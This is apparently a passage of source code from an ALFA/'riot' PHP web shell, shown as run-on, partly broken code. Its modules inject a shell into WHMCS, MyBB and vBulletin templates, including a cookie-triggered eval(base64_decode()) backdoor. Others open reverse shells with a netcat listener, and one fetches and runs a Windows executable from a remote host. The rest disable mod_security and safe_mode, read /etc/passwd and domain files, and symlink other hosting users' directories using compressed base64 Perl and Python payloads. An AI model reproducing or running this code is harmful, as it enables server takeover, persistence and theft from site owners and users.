@mysqli_query($conn, $rec); $getd = @mysqli_fetch_assoc($recivedata); $savetoass = $getd["template"]; $code = ALFA_UPLOADER . ";"; } $code = str_replace("'", "\'", $code); $p = "UPDATE " . $_POST["riot6"] . "template SET `template`='" . $code . "' WHERE `title`='" . $faq_name . "'"; ($ka = @mysqli_query($conn, $p)) or die(mysqli_error($conn)); $geturl = @mysqli_query($conn, "select `value` from " . $_POST["riot6"] . "setting WHERE `varname`='bburl'"); $getval = @mysqli_fetch_assoc($geturl); $saveval = $getval["value"]; if ($faq_name == "header") { if (substr($saveval, -5, 5) == "/core") { $saveval = substr($saveval, 0, -5); } } $realurl = parse_url($saveval, PHP_URL_HOST); $realpath = parse_url($saveval, PHP_URL_PATH); $res = false; $AlfaCurl = new AlfaCURL(); if (extension_loaded("sockets") && function_exists("fsockopen") && $method == "auto") { if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)) { @fputs($fsock, "GET $realpath.$faq_file HTTP/1.1\r\n"); @fputs($fsock, "HOST: $realurl\r\n"); @fputs($fsock, "Connection: close\r\n\r\n"); $check = fgets($fsock); if (preg_match("/200 OK/i", $check)) { $p1 = "UPDATE " . $_POST["riot6"] . "template SET template ='" . mysqli_real_escape_string($conn, $savetoass) . "' WHERE title ='" . $faq_name . "'"; ($ka1 = @mysqli_query($conn, $p1)) or die(mysqli_error($conn)); $res = true; } @fclose($fsock); } } elseif (function_exists("curl_version") && $method == "auto") { $AlfaCurl->Send($realurl . $realpath . $faq_file); $p1 = "UPDATE " . $_POST["riot6"] . "template SET template ='" . mysqli_real_escape_string($conn, $savetoass) . "' WHERE title ='" . $faq_name . "'"; ($ka1 = @mysqli_query($conn, $p1)) or die(mysqli_error($conn)); $res = true; } if ($res) { $ff = "http://" . $realurl . $realpath . "/riotexec.php"; output($ff); } else { $ff = "http://" . $realurl . $realpath . $faq_file; $fff = "http://" . $realurl . $realpath . "/riotexec.php"; echo " | Cms Shell Injector |'; $selector = ' | WHMCS | | MyBB | | vBulletin |
Shell Inject Method :'; if (isset($_POST["riot1"]) && $_POST["riot1"] == "whmcs") { AlfaNum(); echo __pre() . "| WHMCS |"; if (isset($_POST["riot6"])) { $dbu = $_POST["riot6"]; $dbn = $_POST["riot7"]; $dbp = $_POST["riot8"]; $dbh = $_POST["riot9"]; $path = $_POST["riot10"]; $method = $_POST["riot4"]; $index = "{php}" . ALFA_UPLOADER . ";{/php}"; $newin = str_replace("'", "\'", $index); $newindex = " " . getConfigHtml("whmcs") . "
Dear $newin,
Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.
To reset your password, please visit the url below:
{\$pw_reset_url}When you visit the link above, your password will be reset, and the new password will be emailed to you.
{\$signature}
{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}"; if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) { if (filter_var($path, FILTER_VALIDATE_URL)) { ($conn = mysqli_connect($dbh, $dbu, $dbp, $dbn)) or die(mysqli_connect_error()); $soleSave = mysqli_query($conn, "select message from tblemailtemplates where name='Password Reset Validation'"); $soleGet = mysqli_fetch_assoc($soleSave); $tempSave1 = $soleGet["message"]; $tempSave = str_replace("'", "\'", $tempSave1); mysqli_query($conn, "UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die(mysqli_error($conn)); $inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'"; ($result = mysqli_query($conn, $inject)) or die(mysqli_error($conn)); $create = "insert into tblclients (email) values('riotexec@fbi.gov')"; ($result2 = mysqli_query($conn, $create)) or die(mysqli_error($conn)); if (function_exists("curl_version") && $method == "auto") { $AlfaSole = new AlfaCURL(true); $saveurl = $AlfaSole->Send($path . "/pwreset.php"); $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i", $saveurl, $token); $AlfaSole->Send($path . "/pwreset.php", "post", "token={$token[1]}&action=reset&email=riotexec@fbi.gov"); $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'"; ($Solevisible = mysqli_query($conn, $backdata)) or die(mysqli_error($conn)); __alert("shell injectet..."); $ff = "http://" . $path . "/riotexec.php"; output($ff); } else { echo "Please go to Target => " . $path . "/pwreset.php
And Reset Password With Email => riotexec@fbi.gov
And Go To => " . $path . "/riotexec.php
"; } } else { __alert("Path is not Valid..."); } } } } if (isset($_POST["riot2"]) && $_POST["riot2"] == "mybb") { AlfaNum(1, 2, 3, 5); echo __pre() . "| MyBB |"; if (isset($_POST["riot6"])) { $dbu = $_POST["riot6"]; $dbn = $_POST["riot7"]; $dbp = $_POST["riot8"]; $dbh = $_POST["riot9"]; $prefix = $_POST["riot10"]; $method = $_POST["riot4"]; $shellCode = "{\${" . ALFA_UPLOADER . "}}"; $newinshell = str_replace("'", "\'", $shellCode); if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)) { ($conn = mysqli_connect($dbh, $dbu, $dbp, $dbn)) or die(mysqli_error($conn)); $inject = "select template from {$prefix}templates where title= 'calendar'"; ($result = mysqli_query($conn, $inject)) or die(mysqli_error($conn)); $GetTemp = mysqli_fetch_assoc($result); $saveDate = $GetTemp["template"]; $repsave = str_replace($shellCode, "", $saveDate); $repsave = str_replace("'", "\'", $repsave); $createShell = "update {$prefix}templates SET template= '" . $newinshell . $repsave . "' where title = 'calendar'"; ($result2 = mysqli_query($conn, $createShell)) or die(mysqli_error($conn)); $geturl = "select value from {$prefix}settings where name= 'bburl'"; ($findurl = mysqli_query($conn, $geturl)) or die(mysqli_error($conn)); $rowb = mysqli_fetch_assoc($findurl); $furl = $rowb["value"]; $realurl = parse_url($furl, PHP_URL_HOST); $realpath = parse_url($furl, PHP_URL_PATH); $res = false; $AlfaCurl = new AlfaCURL(); if (extension_loaded("sockets") && function_exists("fsockopen") && $method == "auto") { if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)) { @fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\r\n"); @fputs($fsock, "HOST: $realurl\r\n"); @fputs($fsock, "Connection: close\r\n\r\n"); $check = fgets($fsock); if (preg_match("/200 OK/i", $check)) { $repairdbtemp = "update {$prefix}templates SET template= '$repsave' where title = 'calendar'"; ($clear = mysqli_query($conn, $repairdbtemp)) or die(mysqli_error($conn)); $res = true; } @fclose($fsock); } } elseif (function_exists("curl_version") && $method == "auto") { $AlfaCurl->Send($realurl . $realpath . "/calendar.php"); $res = true; } if ($res) { $ff = "http://" . $realurl . $realpath . "/riotexec.php"; output($ff); } else { $ff = "http://" . $realurl . $realpath . "/calendar.php"; $fff = "http://" . $realurl . $realpath . "/riotexec.php"; echo " " . getConfigHtml("mybb") . " Please Go To Target => " . $ff . "
And Go To => " . $fff . "
"; } } } } if (isset($_POST["riot3"]) && $_POST["riot3"] == "vb") { AlfaNum(1, 2, 7, 9, 10); echo __pre() . '| vbulletin |' . getConfigHtml("vb") . '
"; } } } echo " First Open This Link => " . $ff . "
Second Open This Link => " . $fff . "" . __pre() . $s . " "; } function create_table($data) { echo '
" .
$array["tdName"] .
" |
'; echo htmlspecialchars(__read_file($_POST["riot1"])); echo "
' . $h[0] . " | " . $h[1] . " | " . htmlspecialchars($h[2]) . " |
'; } function riotproc() { riothead(); echo ""; riotfooter(); } function riotsafe() { riothead(); echo ""; if (empty($_POST["ajax"]) && !empty($_POST["riot1"])) { $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"] = false; } if ($GLOBALS["sys"] == "win") { $process = [ "Task List" => "tasklist /V", "System Info" => "systeminfo", "Active Connections" => "netstat -an", "Running Services" => "net start", "User Accounts" => "net user", "Show Computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all", ]; } else { $process = [ "Process status" => "ps aux", "Syslog" => "cat /etc/syslog.conf", "Resolv" => "cat /etc/resolv.conf", "Hosts" => "cat /etc/hosts", "Cpuinfo" => "cat /proc/cpuinfo", "Version" => "cat /proc/version", "Sbin" => "ls -al /usr/sbin", "Interrupts" => "cat /proc/interrupts", "lsattr" => "lsattr -va", "Uptime" => "uptime", "Fstab" => "cat /etc/fstab", ]; } foreach ($process as $n => $link) { echo ' | ' . $n . " | "; } echo "
"; if (!empty($_POST["riot1"])) { echo ""; if ($GLOBALS["glob_chdir_false"] && !empty($_POST["c"])) { $cmd = "cd '" . addslashes($_POST["c"]) . "';"; } echo riotEx($cmd . $_POST["riot1"], true); echo ""; } echo "'; if (!empty($_POST["riot8"]) && isset($_POST["riot8"]) == "domains") { if (!_riot_file_exists("/etc/virtual/domainowners")) { echo __pre(); $riotexec9 = _riot_file("/etc/named.conf"); if (is_array($riotexec9)) { foreach ($riotexec9 as $riotexec13) { if (@eregi("zone", $riotexec13)) { preg_match_all('#zone "(.*)"#', $riotexec13, $riotexec14); if (strlen(trim($riotexec14[1][0])) > 2) { echo $riotexec14[1][0] . " | Auto ByPasser |"; echo '| PHP.INI | | .htaccess(apache) | | .htaccess(LiteSpeed) || Read-Passwd | | Read-Users | | Get-User | | Get-Domains |
"; } } } } } else { echo __pre(); $users = _riot_file("/etc/virtual/domainowners"); if (is_array($users)) { foreach ($users as $boz) { $dom = explode(":", $boz); echo $dom[0] . "\n"; } } } } if (!empty($_POST["riot6"]) && isset($_POST["riot6"]) == "valiases") { echo ' Url: '; if (isset($_POST["riot9"]) && $_POST["riot9"] == ">>") { if (!_riot_file_exists("/etc/virtual/domainowners")) { $site = trim($_POST["riot7"]); $rep = str_replace(["https://", "http://", "www."], "", $site); $user = ""; if (function_exists("posix_getpwuid") && function_exists("fileowner")) { if ($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))) { $user = $user["name"]; } } else { if (_riot_can_runCommand(true, true)) { $user = riotEx("stat -c '%U' /etc/valiases/" . $rep); } } if (!empty($user) && $user != "root") { echo __pre() . ""; riotfooter(); } function __get_resource($content) { return @gzinflate(__ZGVjb2Rlcg($content)); } function __write_file($file, $content) { if ($fh = @fopen($file, "wb")) { if (fwrite($fh, $content) !== false) { return true; } } return false; } function bcinit($evalType, $evalCode, $evalOptions, $evalArguments) { $res = "[ Success...! ]"; $err = "[ Failed...! ]"; if ($evalOptions != "") { $evalOptions = $evalOptions . " "; } if ($evalArguments != "") { $evalArguments = " " . $evalArguments; } if ($evalType == "c") { $tmpdir = ALFA_TEMPDIR; chdir($tmpdir); if (is_writable($tmpdir)) { $uniq = substr(md5(time()), 0, 8); $filename = $evalType . $uniq . ".c"; $path = $filename; if (__write_file($path, $evalCode)) { $ext = $GLOBALS["sys"] == "win" ? ".exe" : ".out"; $pathres = $filename . $ext; $evalOptions = "-o " . $pathres . " " . $evalOptions; $cmd = "gcc " . $evalOptions . $path; riotEx($cmd); if (is_file($pathres)) { if (chmod($pathres, 0755)) { $cmd = $pathres . $evalArguments; riotEx($cmd); } else { $res = $err; } unlink($pathres); } else { $res = $err; } unlink($path); } else { $res = $err; } } return $res; } elseif ($evalType == "java") { $tmpdir = ALFA_TEMPDIR; chdir($tmpdir); if (is_writable($tmpdir)) { if (preg_match("/class\ ([^{]+){/i", $evalCode, $r)) { $classname = trim($r[1]); $filename = $classname; } else { $uniq = substr(md5(time()), 0, 8); $filename = $evalType . $uniq; $evalCode = "class " . $filename . " { " . $evalCode . " } "; } $path = $filename . ".java"; if (__write_file($path, $evalCode)) { $cmd = "javac " . $evalOptions . $path; riotEx($cmd); $pathres = $filename . ".class"; if (is_file($pathres)) { if (chmod($pathres, 0755)) { $cmd = "java " . $filename . $evalArguments; riotEx($cmd); } else { $res = $err; } unlink($pathres); } else { $res = $err; } unlink($path); } else { $res = $err; } } return $res; } return false; } function riotconnect() { riothead(); $php = "7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElH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/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw=="; $java = "lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D"; echo ""; } else { echo __pre() . "
User: {$user} site: {$rep} No such file or directory Or Disable Functions is not NONE... "; } } else { $site = trim($_POST["riot7"]); $rep = str_replace(["https://", "http://", "www."], "", $site); $users = _riot_file("/etc/virtual/domainowners"); foreach ($users as $boz) { $ex = explode(":", $boz); if ($ex[0] == $rep) { echo __pre() . ""; break; } } } } } if (!empty($_POST["riot5"]) && isset($_POST["riot5"])) { if (!_riot_file_exists("/etc/virtual/domainowners")) { echo __pre(); $i = 0; while ($i < 60000) { $line = @posix_getpwuid($i); if (!empty($line)) { while (list($key, $vl) = each($line)) { echo $vl . "\n"; break; } } $i++; } } else { echo __pre(); $users = _riot_file("/etc/virtual/domainowners"); foreach ($users as $boz) { $user = explode(":", $boz); echo trim($user[1]) . "
User: " . trim($ex[1]) . " site: {$rep}
"; } } } if (!empty($_POST["riot4"]) && isset($_POST["riot4"])) { echo __pre(); if (_riot_can_runCommand(true, true)) { echo __read_file("/etc/passwd"); } elseif (function_exists("posix_getpwuid")) { for ($uid = 0; $uid < 60000; $uid++) { $ara = @posix_getpwuid($uid); if (!empty($ara)) { while (list($key, $val) = each($ara)) { echo "$val:"; } echo "\n"; } } } else { __alert("failed..."); } } if (!empty($_POST["riot2"]) && isset($_POST["riot2"])) { @__write_file($GLOBALS["cwd"] . ".htaccess", "#Generated By Sole Sad and Invisible\n\nSec------Engine Off\nSec------ScanPOST Off\n "); echo "htaccess for Apache created...! "; } if (!empty($_POST["riot1"]) && isset($_POST["riot1"])) { @__write_file($GLOBALS["cwd"] . "php.ini", "safe_mode=OFF\ndisable_functions=ByPassed By IDM(ALFA TEaM)"); echo "php.ini created...! "; } if (!empty($_POST["riot3"]) && isset($_POST["riot3"])) { @__write_file($GLOBALS["cwd"] . ".htaccess", "#Generated By Sole Sad and Invisible\n\nForceType application/x-httpd-php4\n \n\nSecFilterEngine Off\nSecFilterScanPOST Off\n "); echo "htaccess for Litespeed created...! "; } echo ""; riotfooter(); } function riotMakePwd() { if (_riot_file_exists("/etc/virtual/domainowners") || (_riot_file_exists("/etc/named.conf") && _riot_file_exists("/etc/valiases"))) { return "/home/{user}/public_html/"; } $document = explode("/", $_SERVER["DOCUMENT_ROOT"]); $public = end($document); array_pop($document); array_pop($document); $path = implode("/", $document) . "/{user}/" . $public; return $path; } function riotGetDomains($state = false) { $state = "named.conf"; $lines = []; $lines = _riot_file("/etc/named.conf"); if (!$lines) { $lines = @scandir("/etc/valiases/"); $state = "valiases"; if (!$lines) { $lines = @scandir("/var/named"); $state = "named"; if (!$lines && $state) { $lines = _riot_file("/etc/passwd"); $state = "passwd"; } } } return ["lines" => $lines, "state" => $state]; } function riotCreateParentFolder() { $parent = $GLOBALS["home_cwd"] . "/" . __SYS_CONFIG_FOLDER__; if (!@is_dir($parent)) { @mkdir($parent, 0755, true); } } function riotsymlink() { riothead(); AlfaNum(9, 10); riotCreateParentFolder(); @chdir($GLOBALS["home_cwd"] . "/" . __SYS_CONFIG_FOLDER__); echo ' | Back Connect |
"; echo "Run ` nc -l -v -p port ` on your computer and press ` >> ` button
"; if (isset($_POST["riot1"]) && !empty($_POST["riot1"])) { $lang = $_POST["riot1"]; $ip = $_POST["riot2"]; $port = $_POST["riot3"]; $arg = $_POST["riot4"] == "bind" ? $port : $port . " " . $ip; $tmpdir = ALFA_TEMPDIR; $name = $tmpdir . "/" . $lang . uniqid() . rand(1, 99999); $allow = ["perl", "ruby", "python", "node"]; eval('$lan=$' . $lang . ";"); if (in_array($lang, $allow)) { if (__write_file($name, __get_resource($lan))) { if (_riot_can_runCommand(true, true)) { $os = $GLOBALS["sys"] != "win" ? "1>/dev/null 2>&1 &" : ""; $out = riotEx("$lang $name $arg $os"); if ($out == "") { $out = "[ Finished...! ] "; } echo "{$out}"; } } else { echo ""; } } if ($lang == "java" || $lang == "c") { $code = __get_resource($lan); $out = nl2br(bcinit($lang, $code, "", "")); echo "[ Failed...! ] "; } if ($lang == "bcwin") { $riot = new AlfaCURL(); $s = $riot->Send("http://riotexec.com/bc/windows.exe"); $tmpdir = ALFA_TEMPDIR; $f = @fopen($tmpdir . "/bcwin.exe", "w+"); @fwrite($f, $s); @fclose($f); $out = riotEx($tmpdir . "/bcwin.exe " . $_POST["riot2"] . " " . $_POST["riot3"]); } if ($lang == "php") { echo "{$out} "; $code = __get_resource($lan); if ($code !== false) { $code = "\$target = \"" . $arg . "\";\n" . $code; eval($code); echo ""; } } echo "[ Finished...! ] "; } echo ""; riotfooter(); } function riotsql() { class DbClass { public $type; public $link; public $res; public $mysqli_connect_error = false; public $mysqli_connect_error_msg = ""; function __construct($type) { $this->type = $type; } function connect($host, $user, $pass, $dbname) { switch ($this->type) { case "mysql": if ($this->link = @mysqli_connect($host, $user, $pass, $dbname)) { return true; } else { $this->mysqli_connect_error = true; $this->mysqli_connect_error_msg = mysqli_connect_error(); return false; } break; case "pgsql": $host = explode(":", $host); if (!$host[1]) { $host[1] = 5432; } if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) { return true; } break; } return false; } function selectdb($db) { switch ($this->type) { case "mysql": if (@mysqli_select_db($db)) { return true; } break; } return false; } function query($str) { switch ($this->type) { case "mysql": return $this->res = @mysqli_query($this->link, $str); break; case "pgsql": return $this->res = @pg_query($this->link, $str); break; } return false; } function fetch() { $res = func_num_args() ? func_get_arg(0) : $this->res; switch ($this->type) { case "mysql": return @mysqli_fetch_assoc($res); break; case "pgsql": return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch ($this->type) { case "mysql": return $this->query("SHOW databases"); break; case "pgsql": return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); break; } return false; } function listTables() { switch ($this->type) { case "mysql": return $this->res = $this->query("SHOW TABLES"); break; case "pgsql": return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); break; } return false; } function error() { switch ($this->type) { case "mysql": return @mysqli_error($this->link); break; case "pgsql": return @pg_last_error(); break; } return false; } function setCharset($str) { switch ($this->type) { case "mysql": if (function_exists("mysql_set_charset")) { return @mysqli_set_charset($this->link, $str); } else { $this->query("SET CHARSET " . $str); } break; case "pgsql": return @pg_set_client_encoding($this->link, $str); break; } return false; } function loadFile($str) { switch ($this->type) { case "mysql": return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file")); break; case "pgsql": $this->query("CREATE TABLE riotexec(file text);COPY riotexec FROM '" . addslashes($str) . "';select file from riotexec;"); $r = []; while ($i = $this->fetch()) { $r[] = $i["file"]; } $this->query("drop table riotexec"); return ["file" => implode("\n", $r)]; break; } return false; } } $db = new DbClass($_POST["type"]); riothead(); $form_visibility = "table"; if (isset($_POST["sql_host"])) { $connection_db = $db->connect($_POST["sql_host"], $_POST["sql_login"], $_POST["sql_pass"], $_POST["sql_base"]); if ($connection_db && !empty($_POST["sql_base"])) { $form_visibility = "none"; } } $database_list = []; echo ""; $cant_symlink = false; } if ($cant_symlink) { echo ' | Symlink |'; if (isset($_POST["riot2"]) && ($_POST["riot2"] == "symperl" || $_POST["riot2"] == "sympy")) { $sympath = riotMakePwd(); @mkdir("cgiriot", 0755); @chdir("cgiriot"); riotcgihtaccess("cgi"); $perl = "#!/usr/bin/perl -I/usr/local/bandmin" . "\n" . 'use MIME::Base64;use Compress::Zlib;my $riot_data="' . __SYS_CONFIG_FOLDER__ . '";eval(Compress::Zlib::memGunzip(decode_base64("H4sIAAAAAAAA/50Ye1PTSPyrLLFnEqV5VBBs2gKH4jmjciPoP5TrbLLbNpImuez2Zamf/X77SBqgoHOZId3N/t7vZcooirKUcZxy9OFicPr+A+r20A5dxIwz1Dj58v7blXcdTJaoMWv5qIsMQ21CtY6HyFJ4NlrlRQxkjNMs5TTlTb7MaRtxuuDumE+SftpPO2LR64wpJr0Oj3lCe6cZoQSFS3Ty8ewEXdKTTx1XnXQYX8IPXgkSTUKjrMA8ztJ2mqU0WHdcdd5xFbkwI0sUjqIsyYqu+cyTj9kzAiWW2SHxDEmUrpFjQuJ01Pa9fBEEE1yM4rQZZpxnE/UtzApCi7afLxDBbAwSPhvKJ5D027AT5AMpGk7iUdqOQGdaBEPQvjmn8WjM22GWEPWBxT9ou/UaKBsbjVmWUMQwQc9RnM5iFoew/4kulpMkTm/Qn0v0Ny2SjguC98xgTR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+orEMMkCkyBIesVcRtN5cB6ecUcSh3uPaJOmTcpR8UK90xkFQSMLdn2jiOi+OfsD8hwwLVraBVm5QMvC1J606R1ugMdchoeuOqkALJR9gkYJr7owlije6vUXll1oFqyM7GqjcOhU1pZaMwnuDiehVYaCGGQEiw10YAxpPPp/GxLJgFueWPLOv9q5trZIirNaqa9DN4NIWc4vUNdDk4Ieq6VAZQmz9a2XiN5Kp2CvL/NNnL2/hryHsU8f3Jb6gsx0wrDGqW1BnXmktetW6Rh2073mlfTRuNVyodndQm8TWahaDdilVIiWn/Wvo1MKKB0K60pl4qzNFjFSiWBsqr3RE6LlM4IvAkFhEDJT39FBe9srGsieLUz3ooeRByEd3Ir5VC3Bci2+irRI9FszCOS0VzJZCbfha4L5z22/WgtirYGdRBQxy3IeWwC0Alg1nkEAx7yJ4j/hYWs9GTTVbVCMHYMAcw3ghz3eRB76okG1hnOr4walUsLxzWH2gKR2JHdCjShA5/1qNhThSbQnLNwF3L16+DLSd/SCfsrFVowF6iK6rC8MeOGVDqoqnLQR16jwmGgTkduH8cAuxB0IBNnAoG4irCiT8ik4ihsL15Ab6q1WfQUFI72B/X493voyXZ+pmCPe+C3EzvJA3ww/lzbCfnufi+svgE6ELytBZliTZHOr1RyDI+ulbOXxkxVICyOulxnVyuPT00xNCLuFSru7keQLtA+XjXPztIQGRIHghdVkH2L9wSmDQ/w1wHelDNU/CArzRAxXvTN3OmOMoooyVV3II3+Faaq8nBUFBQ6tr1ONTuwzSnepOuG2ygrRXk7hVNhRdTMuv5bAmU6S8rlZe1E6U/7EAH/4H5eHKfSsRAAA=")));'; $py = "#!/usr/bin/python" . "\nimport zlib, base64\nriot_data='" . __SYS_CONFIG_FOLDER__ . "'\n" . 'eval(compile(zlib.decompress(base64.b64decode("eJydWN1z4jgSfzZ/hdZTWcOG2JC6vQdC2MrNTO6manfn6ib7lFAuYQvwjrFckgiwU3N/+3XrwxbgZKbOD1iW+lvdP7VQ4jDpEXiKTc2FItmqUAs9oUcxq+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PX8uZIEt43+JbZ3IPw7k3we15tU0AdNncPW3ZzEeuQcJu9wPxYZciSXxLru6toECUwT/zuhH3mJkF7M13gtOVpxkc30NE2wpzm/Omm6taJbZo+iN8Qes/YT+fNL+fHD+PFUf9XkvYSpne2jL73lZ8h04+SuIlE/VO31h4uKgCXRQLG9cQ8I8VXd5/gDJZHIJUAzqo17XBJMJf/Djb6Q2SQa0/4LDpYRj+tvkmByb5poQO6cAIHeXOoybeCcKxfpuxcxlJZf4/2Gvq3167Xp3DCfeXwVhexFlXcv2Tgnrp23UEO8m/r3DZCFUT00rd3EwKStYDheGC+jfcQ0Kx5JiKwBC/gejBmkk")),\' | Symlink( php ) | | Symlink( perl ) | | Symlink( python ) | | File Symlink |
\',\'exec\'))'; $cginame = "symperl.riot"; $source = $perl; $lang = "perl"; if ($_POST["riot2"] == "sympy") { $cginame = "pysymlink.riot"; $source = $py; $lang = "python"; } @__write_file($cginame, $source); @chmod($cginame, 0755); echo __pre(); $resource = riotEx("{$lang} {$cginame} {$sympath}", false, true, true); if (strlen($resource) == 0) { echo AlfaiFrameCreator("cgiriot/" . $cginame); } else { echo $resource; } } if (isset($_POST["riot4"]) && $_POST["riot4"] == "SymFile") { if (function_exists("symlink") || _riot_can_runCommand(true, true)) { AlfaNum(9, 10); echo __pre() . ' '; $path = $_POST["riot5"]; $symname = $_POST["riot6"]; $riotexec58 = $_POST["riot7"]; if ($riotexec58) { $new_name = str_replace(".", "_", basename($symname)); $rand_dir = $new_name . rand(111, 9999); $sym_dir = "riotsymlinkphp/" . $rand_dir . "/"; @mkdir($sym_dir, 0777, true); riotcgihtaccess("sym", $sym_dir, $symname); _riot_symlink("$path", "$sym_dir/$symname"); echo __pre(); echo ' | Symlink File And Directory |Click >> ' . $symname . " "; } } else { echo ""; } } if (isset($_POST["riot2"]) && $_POST["riot2"] == "symphp") { $cant_symlink = true; if (function_exists("symlink") || _riot_can_runCommand(false, false)) { @mkdir("riotsymlink", 0777); riotcgihtaccess("sym", "riotsymlink/"); _riot_symlink("/", "riotsymlink/root"); $table_header = " [+] Symlink Function Disabled !"; $cant_symlink = false; } } else { echo "
* Domains Users symlink "; if (_riot_file_exists("/etc/named.conf") && !_riot_file_exists("/etc/virtual/domainowners") && _riot_file_exists("/etc/valiases/")) { echo ""; $lines = []; $anony_domains = []; $anonymous_users = []; $f_black = []; $error = false; $anonymous = false; $makepwd = "/home/{user}/public_html/"; $domains = riotGetDomains(); $lines = $domains["lines"]; $state = $domains["state"]; $is_posix = function_exists("posix_getpwuid") && function_exists("fileowner"); $can_runcmd = _riot_can_runCommand(false, false); if (!$is_posix && !$can_runcmd) { $anonymous = true; $anony_domains = $domains["lines"]; $lines = _riot_file("/etc/passwd"); } echo $table_header; $count = 1; $template = ' '; foreach ($lines as $line) { $domain = ""; $owner = ""; if ($anonymous) { $explode = explode(":", $line); $owner = $explode[0]; $owner_len = strlen($owner) - 1; $userid = $explode[2]; if ((int) $userid < 500) { continue; } $domain = "[?????]"; $temp_black = []; $finded = false; foreach ($anony_domains as $anony) { if ($state == "named.conf") { if (@strstr($anony, "zone")) { preg_match_all('#zone "(.*)"#', $anony, $data); $domain = $data[1][0]; } else { continue; } } elseif ($state == "named" || $state == "valiases") { if ($anony == "." || $anony == "..") { continue; } if ($state == "named") { $anony = rtrim($anony, ".db"); } $domain = $anony; } $sub_domain = str_replace(["-", "."], "", $domain); if (substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)) { if (in_array($owner . $domain, $temp_black)) { continue; } $sympath = str_replace("{user}", $owner, $makepwd); $http = "http://" . $domain; echo str_replace(["{count}", "{http}", "{domain}", "{owner}", "{sympath}"], [$count, $http, $domain, $owner, $sympath], $template); $count++; $temp_black[] = $owner . $domain; $finded = true; } } if (!$finded) { $anonymous_users[] = $owner; } } else { if ($state == "named.conf") { if (@strstr($line, "zone")) { preg_match_all('#zone "(.*)"#', $line, $data); $domain = $data[1][0]; } else { continue; } } elseif ($state == "named" || $state == "valiases") { if ($line == "." || $line == "..") { continue; } if ($state == "named") { $line = rtrim($line, ".db"); } $domain = $line; } if (strlen(trim($domain)) > 2 && $state != "passwd") { if (!_riot_file_exists("/etc/valiases/" . $domain, false)) { continue; } if ($is_posix) { $user = @posix_getpwuid(@fileowner("/etc/valiases/" . $domain)); $owner = $user["name"]; } elseif ($can_runcmd) { $owner = riotEx("stat -c '%U' /etc/valiases/" . $domain, false, false); } } } if (!$anonymous) { if (strlen($owner) == 0 || in_array($owner . $domain, $f_black)) { continue; } $sympath = str_replace("{user}", $owner, $makepwd); $http = "http://" . $domain; if ($state == "passwd") 